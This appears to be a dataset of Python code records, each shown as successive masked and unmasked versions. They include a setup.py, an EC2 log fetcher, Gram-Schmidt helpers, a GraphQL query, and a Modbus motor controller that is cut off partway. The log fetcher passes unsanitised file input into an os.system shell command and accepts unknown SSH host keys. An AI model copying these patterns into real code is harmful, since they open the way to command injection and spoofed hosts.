{ "blob_id": "c0218acadb9e03359ac898cf3bb4898f516400e5", "index": 5361, "step-1": "<mask token>\n", "step-2": "<mask token>\nsetup(name='google-drive-helpers', version='0.1', description=\n 'Helper functions for google drive', url=\n 'https://github.com/jdoepfert/google-drive-helpers', license='MIT',\n packages=['gdrive_helpers'], install_requires=[\n 'google-api-python-client'], zip_safe=False)\n", "step-3": "from setuptools import setup\nsetup(name='google-drive-helpers', version='0.1', description=\n 'Helper functions for google drive', url=\n 'https://github.com/jdoepfert/google-drive-helpers', license='MIT',\n packages=['gdrive_helpers'], install_requires=[\n 'google-api-python-client'], zip_safe=False)\n", "step-4": "from setuptools import setup\n\nsetup(name='google-drive-helpers',\n version='0.1',\n description='Helper functions for google drive',\n url='https://github.com/jdoepfert/google-drive-helpers',\n license='MIT',\n packages=['gdrive_helpers'],\n install_requires=[\n 'google-api-python-client',\n ],\n zip_safe=False)\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
""" GetState Usage: get_state.py <pem-file> <ip-file> [options] Options: -h, --help print help message and exit --output DIR set the output directory [default: logs] """ from docopt import docopt import paramiko import os def get_logs(ip_addr, pem_file, log_dir): pem = paramiko.RSAKey.from_private_key_file(pem_file) client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(hostname=ip_addr, username="ec2-user", pkey=pem) ftp = client.open_sftp() logs = sorted(ftp.listdir('/home/ec2-user/logs/')) for l in logs: if l.endswith('.txt'): print(l) client.exec_command(f'cat /home/ec2-user/logs/{l} > /home/ec2-user/logs/tmp') ftp.get(f'/home/ec2-user/logs/tmp', f"{log_dir}/{l}") client.exec_command('rm /home/ec2-user/logs/tmp') ftp.close() client.close() if __name__ == '__main__': args = docopt(__doc__) for ip in open(args['<ip-file>']): os.system(f"scp -i {args['<pem-file>']} ec2-user@{ip.strip()}:~/logs/*.txt {args['--output']}") #get_logs(ip.strip(), args['<pem-file>'], args['--output'])
normal
{ "blob_id": "a1df804325a074ed980ec864c72fe231e2968997", "index": 4024, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef get_logs(ip_addr, pem_file, log_dir):\n pem = paramiko.RSAKey.from_private_key_file(pem_file)\n client = paramiko.SSHClient()\n client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n client.connect(hostname=ip_addr, username='ec2-user', pkey=pem)\n ftp = client.open_sftp()\n logs = sorted(ftp.listdir('/home/ec2-user/logs/'))\n for l in logs:\n if l.endswith('.txt'):\n print(l)\n client.exec_command(\n f'cat /home/ec2-user/logs/{l} > /home/ec2-user/logs/tmp')\n ftp.get(f'/home/ec2-user/logs/tmp', f'{log_dir}/{l}')\n client.exec_command('rm /home/ec2-user/logs/tmp')\n ftp.close()\n client.close()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef get_logs(ip_addr, pem_file, log_dir):\n pem = paramiko.RSAKey.from_private_key_file(pem_file)\n client = paramiko.SSHClient()\n client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n client.connect(hostname=ip_addr, username='ec2-user', pkey=pem)\n ftp = client.open_sftp()\n logs = sorted(ftp.listdir('/home/ec2-user/logs/'))\n for l in logs:\n if l.endswith('.txt'):\n print(l)\n client.exec_command(\n f'cat /home/ec2-user/logs/{l} > /home/ec2-user/logs/tmp')\n ftp.get(f'/home/ec2-user/logs/tmp', f'{log_dir}/{l}')\n client.exec_command('rm /home/ec2-user/logs/tmp')\n ftp.close()\n client.close()\n\n\nif __name__ == '__main__':\n args = docopt(__doc__)\n for ip in open(args['<ip-file>']):\n os.system(\n f\"scp -i {args['<pem-file>']} ec2-user@{ip.strip()}:~/logs/*.txt {args['--output']}\"\n )\n", "step-4": "<mask token>\nfrom docopt import docopt\nimport paramiko\nimport os\n\n\ndef get_logs(ip_addr, pem_file, log_dir):\n pem = paramiko.RSAKey.from_private_key_file(pem_file)\n client = paramiko.SSHClient()\n client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n client.connect(hostname=ip_addr, username='ec2-user', pkey=pem)\n ftp = client.open_sftp()\n logs = sorted(ftp.listdir('/home/ec2-user/logs/'))\n for l in logs:\n if l.endswith('.txt'):\n print(l)\n client.exec_command(\n f'cat /home/ec2-user/logs/{l} > /home/ec2-user/logs/tmp')\n ftp.get(f'/home/ec2-user/logs/tmp', f'{log_dir}/{l}')\n client.exec_command('rm /home/ec2-user/logs/tmp')\n ftp.close()\n client.close()\n\n\nif __name__ == '__main__':\n args = docopt(__doc__)\n for ip in open(args['<ip-file>']):\n os.system(\n f\"scp -i {args['<pem-file>']} ec2-user@{ip.strip()}:~/logs/*.txt {args['--output']}\"\n )\n", "step-5": "\"\"\" GetState\nUsage:\n get_state.py <pem-file> <ip-file> [options]\n\nOptions:\n -h, --help print help message and exit\n --output DIR set the output directory [default: logs]\n\"\"\"\n\nfrom docopt import docopt\nimport paramiko\nimport os\n\ndef get_logs(ip_addr, pem_file, log_dir):\n pem = paramiko.RSAKey.from_private_key_file(pem_file)\n client = paramiko.SSHClient()\n client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n client.connect(hostname=ip_addr, username=\"ec2-user\", pkey=pem)\n ftp = client.open_sftp()\n logs = sorted(ftp.listdir('/home/ec2-user/logs/'))\n for l in logs:\n if l.endswith('.txt'):\n print(l)\n client.exec_command(f'cat /home/ec2-user/logs/{l} > /home/ec2-user/logs/tmp')\n ftp.get(f'/home/ec2-user/logs/tmp', f\"{log_dir}/{l}\")\n client.exec_command('rm /home/ec2-user/logs/tmp')\n ftp.close()\n client.close()\n\nif __name__ == '__main__':\n args = docopt(__doc__)\n\n for ip in open(args['<ip-file>']):\n os.system(f\"scp -i {args['<pem-file>']} ec2-user@{ip.strip()}:~/logs/*.txt {args['--output']}\")\n #get_logs(ip.strip(), args['<pem-file>'], args['--output'])\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
from . import utility from . import regular_gram_schmidt as RGSC from . import custom_gram_schmidt as CGSC def RegularGramSchmidt(): while True: vectors = utility.get_matrix_from_user(5) if len(vectors) > 0: calc = RGSC.RegularGramSchmidt() result_matrix = calc.calc(vectors) if result_matrix is not None: print(result_matrix) utility.print_if_matrix_is_basis(result_matrix) answer = input("Start over? (Y/n)") if answer.lower() == 'n': break else: continue def CustomGramSchmidt(): while True: print("Enter the inner product matrix 3x3") inner_product_matrix = utility.get_matrix_from_user(3, True) calc = CGSC.CustomGramSchmidt(inner_product_matrix) print("Enter vectors from R(3)") vectors = utility.get_matrix_from_user(3) if len(vectors) > 0: result_matrix = calc.calc(vectors) if result_matrix is not None: print(result_matrix) utility.print_if_matrix_is_basis(result_matrix) answer = input("Start over? (Y/n)") if answer.lower() == 'n': break else: continue
normal
{ "blob_id": "b6b3d94db62b47aac9bf78e8224a38ccff9335e3", "index": 7591, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef RegularGramSchmidt():\n while True:\n vectors = utility.get_matrix_from_user(5)\n if len(vectors) > 0:\n calc = RGSC.RegularGramSchmidt()\n result_matrix = calc.calc(vectors)\n if result_matrix is not None:\n print(result_matrix)\n utility.print_if_matrix_is_basis(result_matrix)\n answer = input('Start over? (Y/n)')\n if answer.lower() == 'n':\n break\n else:\n continue\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef RegularGramSchmidt():\n while True:\n vectors = utility.get_matrix_from_user(5)\n if len(vectors) > 0:\n calc = RGSC.RegularGramSchmidt()\n result_matrix = calc.calc(vectors)\n if result_matrix is not None:\n print(result_matrix)\n utility.print_if_matrix_is_basis(result_matrix)\n answer = input('Start over? (Y/n)')\n if answer.lower() == 'n':\n break\n else:\n continue\n\n\ndef CustomGramSchmidt():\n while True:\n print('Enter the inner product matrix 3x3')\n inner_product_matrix = utility.get_matrix_from_user(3, True)\n calc = CGSC.CustomGramSchmidt(inner_product_matrix)\n print('Enter vectors from R(3)')\n vectors = utility.get_matrix_from_user(3)\n if len(vectors) > 0:\n result_matrix = calc.calc(vectors)\n if result_matrix is not None:\n print(result_matrix)\n utility.print_if_matrix_is_basis(result_matrix)\n answer = input('Start over? (Y/n)')\n if answer.lower() == 'n':\n break\n else:\n continue\n", "step-4": "from . import utility\nfrom . import regular_gram_schmidt as RGSC\nfrom . import custom_gram_schmidt as CGSC\n\n\ndef RegularGramSchmidt():\n while True:\n vectors = utility.get_matrix_from_user(5)\n if len(vectors) > 0:\n calc = RGSC.RegularGramSchmidt()\n result_matrix = calc.calc(vectors)\n if result_matrix is not None:\n print(result_matrix)\n utility.print_if_matrix_is_basis(result_matrix)\n answer = input('Start over? (Y/n)')\n if answer.lower() == 'n':\n break\n else:\n continue\n\n\ndef CustomGramSchmidt():\n while True:\n print('Enter the inner product matrix 3x3')\n inner_product_matrix = utility.get_matrix_from_user(3, True)\n calc = CGSC.CustomGramSchmidt(inner_product_matrix)\n print('Enter vectors from R(3)')\n vectors = utility.get_matrix_from_user(3)\n if len(vectors) > 0:\n result_matrix = calc.calc(vectors)\n if result_matrix is not None:\n print(result_matrix)\n utility.print_if_matrix_is_basis(result_matrix)\n answer = input('Start over? (Y/n)')\n if answer.lower() == 'n':\n break\n else:\n continue\n", "step-5": "from . import utility\nfrom . import regular_gram_schmidt as RGSC\nfrom . import custom_gram_schmidt as CGSC\n\n\ndef RegularGramSchmidt():\n while True:\n vectors = utility.get_matrix_from_user(5)\n if len(vectors) > 0:\n calc = RGSC.RegularGramSchmidt()\n result_matrix = calc.calc(vectors)\n if result_matrix is not None:\n print(result_matrix)\n utility.print_if_matrix_is_basis(result_matrix)\n answer = input(\"Start over? (Y/n)\")\n if answer.lower() == 'n':\n break\n else:\n continue\n\n\ndef CustomGramSchmidt():\n while True:\n print(\"Enter the inner product matrix 3x3\")\n inner_product_matrix = utility.get_matrix_from_user(3, True)\n calc = CGSC.CustomGramSchmidt(inner_product_matrix)\n print(\"Enter vectors from R(3)\")\n vectors = utility.get_matrix_from_user(3)\n if len(vectors) > 0:\n result_matrix = calc.calc(vectors)\n if result_matrix is not None:\n print(result_matrix)\n utility.print_if_matrix_is_basis(result_matrix)\n answer = input(\"Start over? (Y/n)\")\n if answer.lower() == 'n':\n break\n else:\n continue\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
import strawberry as stb from app.crud import cruduser from app.db import get_session @stb.type class Query: @stb.field async def ReadUser(self, info, username: str): ses = await get_session() fields = info.field_nodes[0].selection_set.selections[0] return await cruduser.get_user(ses, username, fields)
normal
{ "blob_id": "0992297ffc19b1bc4dc3d5e8a75307009c837032", "index": 5134, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\[email protected]\nclass Query:\n\n @stb.field\n async def ReadUser(self, info, username: str):\n ses = await get_session()\n fields = info.field_nodes[0].selection_set.selections[0]\n return await cruduser.get_user(ses, username, fields)\n", "step-3": "import strawberry as stb\nfrom app.crud import cruduser\nfrom app.db import get_session\n\n\[email protected]\nclass Query:\n\n @stb.field\n async def ReadUser(self, info, username: str):\n ses = await get_session()\n fields = info.field_nodes[0].selection_set.selections[0]\n return await cruduser.get_user(ses, username, fields)\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
import json startTime = "" endTime = "" controller = 0 for files in range(30): file = open("NewResults" + str(files+1) + ".data") for line in file: if line != "\n": j = json.loads(line) if controller == 0: startTime = j['metrics'][0]['startTime'] helper = startTime.split(" ") hour = helper[1].split(":")[0] minute = helper[1].split(":")[1] second = helper[1].split(":")[2] print("startTime: " + hour + " : " + minute + " : " + second) elif controller == 14: endTime = j['metrics'][0]['startTime'] helper = endTime.split(" ") hour = helper[1].split(":")[0] minute = helper[1].split(":")[1] second = helper[1].split(":")[2] print("endTime: " + hour + " : " + minute + " : " + second) controller = 0 break controller += 1 file = open("request-file-burst-1.data", "r") for line in file: data = line.split(" ") grossTime = data[0].split(":") hour = grossTime[0].split("[")[1] minute = grossTime[1] second = grossTime[2].split("]")[0] print(hour + " : " + minute + " : " + second) break
normal
{ "blob_id": "03284f20e614a5f8f5c21939acf49490d6ffd3a3", "index": 7812, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor files in range(30):\n file = open('NewResults' + str(files + 1) + '.data')\n for line in file:\n if line != '\\n':\n j = json.loads(line)\n if controller == 0:\n startTime = j['metrics'][0]['startTime']\n helper = startTime.split(' ')\n hour = helper[1].split(':')[0]\n minute = helper[1].split(':')[1]\n second = helper[1].split(':')[2]\n print('startTime: ' + hour + ' : ' + minute + ' : ' + second)\n elif controller == 14:\n endTime = j['metrics'][0]['startTime']\n helper = endTime.split(' ')\n hour = helper[1].split(':')[0]\n minute = helper[1].split(':')[1]\n second = helper[1].split(':')[2]\n print('endTime: ' + hour + ' : ' + minute + ' : ' + second)\n controller = 0\n break\n controller += 1\n<mask token>\nfor line in file:\n data = line.split(' ')\n grossTime = data[0].split(':')\n hour = grossTime[0].split('[')[1]\n minute = grossTime[1]\n second = grossTime[2].split(']')[0]\n print(hour + ' : ' + minute + ' : ' + second)\n break\n", "step-3": "<mask token>\nstartTime = ''\nendTime = ''\ncontroller = 0\nfor files in range(30):\n file = open('NewResults' + str(files + 1) + '.data')\n for line in file:\n if line != '\\n':\n j = json.loads(line)\n if controller == 0:\n startTime = j['metrics'][0]['startTime']\n helper = startTime.split(' ')\n hour = helper[1].split(':')[0]\n minute = helper[1].split(':')[1]\n second = helper[1].split(':')[2]\n print('startTime: ' + hour + ' : ' + minute + ' : ' + second)\n elif controller == 14:\n endTime = j['metrics'][0]['startTime']\n helper = endTime.split(' ')\n hour = helper[1].split(':')[0]\n minute = helper[1].split(':')[1]\n second = helper[1].split(':')[2]\n print('endTime: ' + hour + ' : ' + minute + ' : ' + second)\n controller = 0\n break\n controller += 1\nfile = open('request-file-burst-1.data', 'r')\nfor line in file:\n data = line.split(' ')\n grossTime = data[0].split(':')\n hour = grossTime[0].split('[')[1]\n minute = grossTime[1]\n second = grossTime[2].split(']')[0]\n print(hour + ' : ' + minute + ' : ' + second)\n break\n", "step-4": "import json\nstartTime = ''\nendTime = ''\ncontroller = 0\nfor files in range(30):\n file = open('NewResults' + str(files + 1) + '.data')\n for line in file:\n if line != '\\n':\n j = json.loads(line)\n if controller == 0:\n startTime = j['metrics'][0]['startTime']\n helper = startTime.split(' ')\n hour = helper[1].split(':')[0]\n minute = helper[1].split(':')[1]\n second = helper[1].split(':')[2]\n print('startTime: ' + hour + ' : ' + minute + ' : ' + second)\n elif controller == 14:\n endTime = j['metrics'][0]['startTime']\n helper = endTime.split(' ')\n hour = helper[1].split(':')[0]\n minute = helper[1].split(':')[1]\n second = helper[1].split(':')[2]\n print('endTime: ' + hour + ' : ' + minute + ' : ' + second)\n controller = 0\n break\n controller += 1\nfile = open('request-file-burst-1.data', 'r')\nfor line in file:\n data = line.split(' ')\n grossTime = data[0].split(':')\n hour = grossTime[0].split('[')[1]\n minute = grossTime[1]\n second = grossTime[2].split(']')[0]\n print(hour + ' : ' + minute + ' : ' + second)\n break\n", "step-5": "import json\n\nstartTime = \"\"\nendTime = \"\"\n\ncontroller = 0\nfor files in range(30):\n\tfile = open(\"NewResults\" + str(files+1) + \".data\")\n\tfor line in file:\n\t\tif line != \"\\n\":\n\t\t\tj = json.loads(line)\n\t\t\tif controller == 0:\n\t\t\t\tstartTime = j['metrics'][0]['startTime']\n\t\t\t\thelper = startTime.split(\" \")\n\t\t\t\thour = helper[1].split(\":\")[0]\n\t\t\t\tminute = helper[1].split(\":\")[1]\n\t\t\t\tsecond = helper[1].split(\":\")[2]\n\t\t\t\tprint(\"startTime: \" + hour + \" : \" + minute + \" : \" + second)\n\t\t\telif controller == 14:\n\t\t\t\tendTime = j['metrics'][0]['startTime']\n\t\t\t\thelper = endTime.split(\" \")\n\t\t\t\thour = helper[1].split(\":\")[0]\n\t\t\t\tminute = helper[1].split(\":\")[1]\n\t\t\t\tsecond = helper[1].split(\":\")[2]\n\t\t\t\tprint(\"endTime: \" + hour + \" : \" + minute + \" : \" + second)\n\t\t\t\tcontroller = 0\n\t\t\t\tbreak\n\t\t\tcontroller += 1\n\nfile = open(\"request-file-burst-1.data\", \"r\")\nfor line in file:\n\tdata = line.split(\" \")\n\tgrossTime = data[0].split(\":\")\n\thour = grossTime[0].split(\"[\")[1]\n\tminute = grossTime[1]\n\tsecond = grossTime[2].split(\"]\")[0]\n\tprint(hour + \" : \" + minute + \" : \" + second)\n\tbreak\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
#!/usr/bin/env python3 # Rhino Motor Driver (RMCS 2303) - Basic Modbus Communication # ----------------------------------------------------------- """ BSD 3-Clause License Copyright (c) 2021, Rajesh Subramanian All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ import time import traceback import minimalmodbus as modbus import rhino_params as rhino class Controller: def __init__(self, port_name, slave_address): # Parameters self.__instrument = modbus.Instrument(port_name, slave_address, modbus.MODE_ASCII) self.__instrument.serial.baudrate = 9600 self.__instrument.serial.parity = modbus.serial.PARITY_NONE self.__instrument.bytesize = 8 self.__instrument.stopbits = 1 self.__instrument.timeout = 5 # seconds self.__instrument.write_timeout = 5 # seconds self.__instrument.clear_buffers_before_each_transaction = True # self.__instrument.close_port_after_each_call = True self.__time_delay = 0.001 #0.001 # default: 1 ms self.__lock_resource = False # To prevent issuing simultaneous commands to RMCS2303 motor controller. Eg. # trying to read encoder value while writing motor enable command self.name = self.extract_name_from_port_name(port_name) self.__status_rotation_direction = 0 self.__CW = 1 # clockwise rotation status self.__CCW = -1 # counter clockwise rotation status self.__IDLE = 0 # no rotation status # Functions self.__set_lines_per_rotation(rhino.LINES_PER_ROTATION_DEFAULT) self.brake() self.__go_home() self.set_acceleration(rhino.ACCELERATION_DEFAULT) self.set_speed(rhino.SPEED_DEFAULT) # Private Functions # ----------------- @staticmethod def __convert_unsigned32_to_signed32(unsigned32_data): # UInt32 range: 0 to 4294967295 # Int32 range: -2147483648 to 2147483647 mid_uint32 = 2147483648 if unsigned32_data is not None: signed32_data = int(unsigned32_data - mid_uint32) return signed32_data @staticmethod def __convert_signed32_to_signed16(signed32_data): # Int16 range: -32768 to 32767 signed16_data = signed32_data >> 16 return signed16_data def __read_from_register(self, message_list): while True: # Attempt sending message until the controller is free try: if not self.__lock_resource: # Check if controller is in use self.__lock_resource = True data = self.__instrument.read_register(message_list[0], message_list[1], message_list[2]) time.sleep(self.__time_delay) self.__lock_resource = False return data except KeyboardInterrupt: print("Keyboard Interrupt: " + self.name) except modbus.ModbusException as e: print("ModbusException at " + self.name + ": " + str(e)) except modbus.serial.SerialException as e: print("Modbus Serial Exception at " + self.name + ": " + str(e)) except modbus.InvalidResponseError as e: print("Modbus Invalid Response Exception at " + self.name + ": " + str(e)) except Exception as e: print("Motor Driver Exception at " + self.name + ": " + str(e)) print(traceback.format_exc()) time.sleep(self.__time_delay) def __read_from_registers(self, message_list): while True: # Attempt sending message until the controller is free try: if not self.__lock_resource: # Check if controller is in use self.__lock_resource = True register_size = 16 data = self.__instrument.read_registers(message_list[0], message_list[1], message_list[2]) lsb = data[0] msb = data[1] combined_data = (msb << register_size) + lsb # combining two 16 bit values into one 32 bit value time.sleep(self.__time_delay) self.__lock_resource = False return combined_data ''' # combine two registers and create a long integer def combine_two_registers(self, reg): if reg[1] > 32767: long_reg = (65535 - reg[1]) b = long_reg << 16 out = (b + 65535 - reg[0]) * -1 else: long_reg = reg[1] b = long_reg << 16 out = b + reg[0] return out ''' except KeyboardInterrupt: print("Keyboard Interrupt: " + self.name) except modbus.ModbusException as e: print("ModbusException at " + self.name + ": " + str(e)) except modbus.serial.SerialException as e: print("Modbus Serial Exception at " + self.name + ": " + str(e)) except modbus.InvalidResponseError as e: print("Modbus Invalid Response Exception at " + self.name + ": " + str(e)) except Exception as e: print("Motor Driver Exception at " + self.name + ": " + str(e)) print(traceback.format_exc()) time.sleep(self.__time_delay) def __write_to_register(self, message_list): while True: # Attempt sending message until the controller is free try: if not self.__lock_resource: # Check if controller is in use self.__lock_resource = True self.__instrument.write_register(message_list[0], message_list[1], message_list[2], message_list[3]) time.sleep(self.__time_delay) self.__lock_resource = False return except KeyboardInterrupt: print("Keyboard Interrupt: " + self.name) except modbus.ModbusException as e: print("ModbusException at " + self.name + ": " + str(e)) except modbus.serial.SerialException as e: print("Modbus Serial Exception at " + self.name + ": " + str(e)) except modbus.InvalidResponseError as e: print("Modbus Invalid Response Exception at " + self.name + ": " + str(e)) except Exception as e: print("Motor Driver Exception at " + self.name + ": " + str(e)) print(traceback.format_exc()) time.sleep(self.__time_delay) def __go_home(self): message = rhino.HOME_POSITION_MESSAGE self.__write_to_register(message) def __set_lines_per_rotation(self, lines_per_rotation): message = rhino.LINES_PER_ROTATION_MESSAGE message[rhino.DATA_INDEX] = lines_per_rotation self.__write_to_register(message) # Public Functions # ---------------- @staticmethod def extract_name_from_port_name(port_name): chars = port_name.split("/") name = chars[len(chars) - 1] return name @staticmethod def convert_rad_per_sec_to_rpm(radians_per_sec): # Formula: rpm = rad/sec * 9.549297 rpm = radians_per_sec * 9.549297 rpm_scaled = rpm * rhino.GEAR_RATIO return rpm_scaled @staticmethod def convert_rpm_to_rad_per_sec(rpm): # Formula: rad/sec = rpm * 0.10472 radians_per_sec = rpm * 0.10472 radians_per_sec_scaled = radians_per_sec / rhino.GEAR_RATIO return radians_per_sec_scaled def set_speed(self, speed): speed_rpm = abs(int(self.convert_rad_per_sec_to_rpm(speed))) if speed_rpm > rhino.SPEED_MAX: speed_rpm = rhino.SPEED_MAX if speed_rpm < rhino.SPEED_MIN: speed_rpm = rhino.SPEED_MIN message = rhino.SPEED_MESSAGE message[rhino.DATA_INDEX] = speed_rpm self.__write_to_register(message) def set_acceleration(self, acceleration): if acceleration > rhino.ACCELERATION_MAX: acceleration = rhino.ACCELERATION_MAX if acceleration < rhino.ACCELERATION_MIN: acceleration = rhino.ACCELERATION_MIN message = rhino.ACCELERATION_MESSAGE message[rhino.DATA_INDEX] = acceleration self.__write_to_register(message) def turn_motor_cw(self): message = rhino.TURN_MOTOR_CW_MESSAGE self.__write_to_register(message) self.__status_rotation_direction = self.__CW def turn_motor_ccw(self): message = rhino.TURN_MOTOR_CCW_MESSAGE self.__write_to_register(message) self.__status_rotation_direction = self.__CCW def stop_rotation_cw(self): message = rhino.STOP_MOTOR_CW_MESSAGE self.__write_to_register(message) self.__status_rotation_direction = self.__IDLE def stop_rotation_ccw(self): message = rhino.STOP_MOTOR_CCW_MESSAGE self.__write_to_register(message) self.__status_rotation_direction = self.__IDLE def stop_rotation(self): message = rhino.STOP_MESSAGE self.__write_to_register(message) self.__status_rotation_direction = self.__IDLE def emergency_stop(self): message = rhino.EMERGENCY_STOP_MESSAGE self.__write_to_register(message) self.__status_rotation_direction = self.__IDLE def get_position_32bit(self): message = rhino.POSITION_FEEDBACK_MESSAGE position = self.__read_from_registers(message) # position = self.__convert_unsigned32_to_signed32(position) return position def get_position_16bit(self): message = rhino.POSITION_FEEDBACK_MESSAGE position = self.__read_from_registers(message) position_32bit = self.__convert_unsigned32_to_signed32(position) position_16bit = self.__convert_signed32_to_signed16(position_32bit) return position_16bit def get_position_raw(self): message = rhino.POSITION_FEEDBACK_MESSAGE position = self.__read_from_registers(message) return position def get_speed(self): message = rhino.SPEED_FEEDBACK_MESSAGE speed = self.__read_from_register(message) speed = self.__convert_unsigned32_to_signed32(speed) return speed def brake_cw(self): message = rhino.BRAKE_CW_MESSAGE self.__write_to_register(message) self.__status_rotation_direction = self.__IDLE def brake_ccw(self): message = rhino.BRAKE_CCW_MESSAGE self.__write_to_register(message) self.__status_rotation_direction = self.__IDLE def brake(self): if self.__status_rotation_direction == self.__CW: self.brake_cw() print(self.name + ": Brake CW") self.__status_rotation_direction = self.__IDLE elif self.__status_rotation_direction == self.__CCW: self.brake_ccw() print(self.name + ": Brake CCW") self.__status_rotation_direction = self.__IDLE elif self.__status_rotation_direction == self.__IDLE: print(self.name + ": Motor idle") else: print(self.name + ": Motor Unknown Rotation Status")
normal
{ "blob_id": "df3dcbf3c8d621f5db2a07765a0a28e7626387d9", "index": 3485, "step-1": "<mask token>\n\n\nclass Controller:\n\n def __init__(self, port_name, slave_address):\n self.__instrument = modbus.Instrument(port_name, slave_address,\n modbus.MODE_ASCII)\n self.__instrument.serial.baudrate = 9600\n self.__instrument.serial.parity = modbus.serial.PARITY_NONE\n self.__instrument.bytesize = 8\n self.__instrument.stopbits = 1\n self.__instrument.timeout = 5\n self.__instrument.write_timeout = 5\n self.__instrument.clear_buffers_before_each_transaction = True\n self.__time_delay = 0.001\n self.__lock_resource = False\n self.name = self.extract_name_from_port_name(port_name)\n self.__status_rotation_direction = 0\n self.__CW = 1\n self.__CCW = -1\n self.__IDLE = 0\n self.__set_lines_per_rotation(rhino.LINES_PER_ROTATION_DEFAULT)\n self.brake()\n self.__go_home()\n self.set_acceleration(rhino.ACCELERATION_DEFAULT)\n self.set_speed(rhino.SPEED_DEFAULT)\n <mask token>\n\n @staticmethod\n def __convert_signed32_to_signed16(signed32_data):\n signed16_data = signed32_data >> 16\n return signed16_data\n <mask token>\n\n def __read_from_registers(self, message_list):\n while True:\n try:\n if not self.__lock_resource:\n self.__lock_resource = True\n register_size = 16\n data = self.__instrument.read_registers(message_list[0],\n message_list[1], message_list[2])\n lsb = data[0]\n msb = data[1]\n combined_data = (msb << register_size) + lsb\n time.sleep(self.__time_delay)\n self.__lock_resource = False\n return combined_data\n \"\"\"\n # combine two registers and create a long integer\n def combine_two_registers(self, reg):\n if reg[1] > 32767:\n long_reg = (65535 - reg[1])\n b = long_reg << 16\n out = (b + 65535 - reg[0]) * -1\n else:\n long_reg = reg[1]\n b = long_reg << 16\n out = b + reg[0]\n return out\n \"\"\"\n except KeyboardInterrupt:\n print('Keyboard Interrupt: ' + self.name)\n except modbus.ModbusException as e:\n print('ModbusException at ' + self.name + ': ' + str(e))\n except modbus.serial.SerialException as e:\n print('Modbus Serial Exception at ' + self.name + ': ' + str(e)\n )\n except modbus.InvalidResponseError as e:\n print('Modbus Invalid Response Exception at ' + self.name +\n ': ' + str(e))\n except Exception as e:\n print('Motor Driver Exception at ' + self.name + ': ' + str(e))\n print(traceback.format_exc())\n time.sleep(self.__time_delay)\n <mask token>\n\n def __go_home(self):\n message = rhino.HOME_POSITION_MESSAGE\n self.__write_to_register(message)\n\n def __set_lines_per_rotation(self, lines_per_rotation):\n message = rhino.LINES_PER_ROTATION_MESSAGE\n message[rhino.DATA_INDEX] = lines_per_rotation\n self.__write_to_register(message)\n <mask token>\n\n @staticmethod\n def convert_rad_per_sec_to_rpm(radians_per_sec):\n rpm = radians_per_sec * 9.549297\n rpm_scaled = rpm * rhino.GEAR_RATIO\n return rpm_scaled\n <mask token>\n\n def set_speed(self, speed):\n speed_rpm = abs(int(self.convert_rad_per_sec_to_rpm(speed)))\n if speed_rpm > rhino.SPEED_MAX:\n speed_rpm = rhino.SPEED_MAX\n if speed_rpm < rhino.SPEED_MIN:\n speed_rpm = rhino.SPEED_MIN\n message = rhino.SPEED_MESSAGE\n message[rhino.DATA_INDEX] = speed_rpm\n self.__write_to_register(message)\n\n def set_acceleration(self, acceleration):\n if acceleration > rhino.ACCELERATION_MAX:\n acceleration = rhino.ACCELERATION_MAX\n if acceleration < rhino.ACCELERATION_MIN:\n acceleration = rhino.ACCELERATION_MIN\n message = rhino.ACCELERATION_MESSAGE\n message[rhino.DATA_INDEX] = acceleration\n self.__write_to_register(message)\n <mask token>\n\n def turn_motor_ccw(self):\n message = rhino.TURN_MOTOR_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__CCW\n\n def stop_rotation_cw(self):\n message = rhino.STOP_MOTOR_CW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def stop_rotation_ccw(self):\n message = rhino.STOP_MOTOR_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def stop_rotation(self):\n message = rhino.STOP_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def emergency_stop(self):\n message = rhino.EMERGENCY_STOP_MESSAGE\n 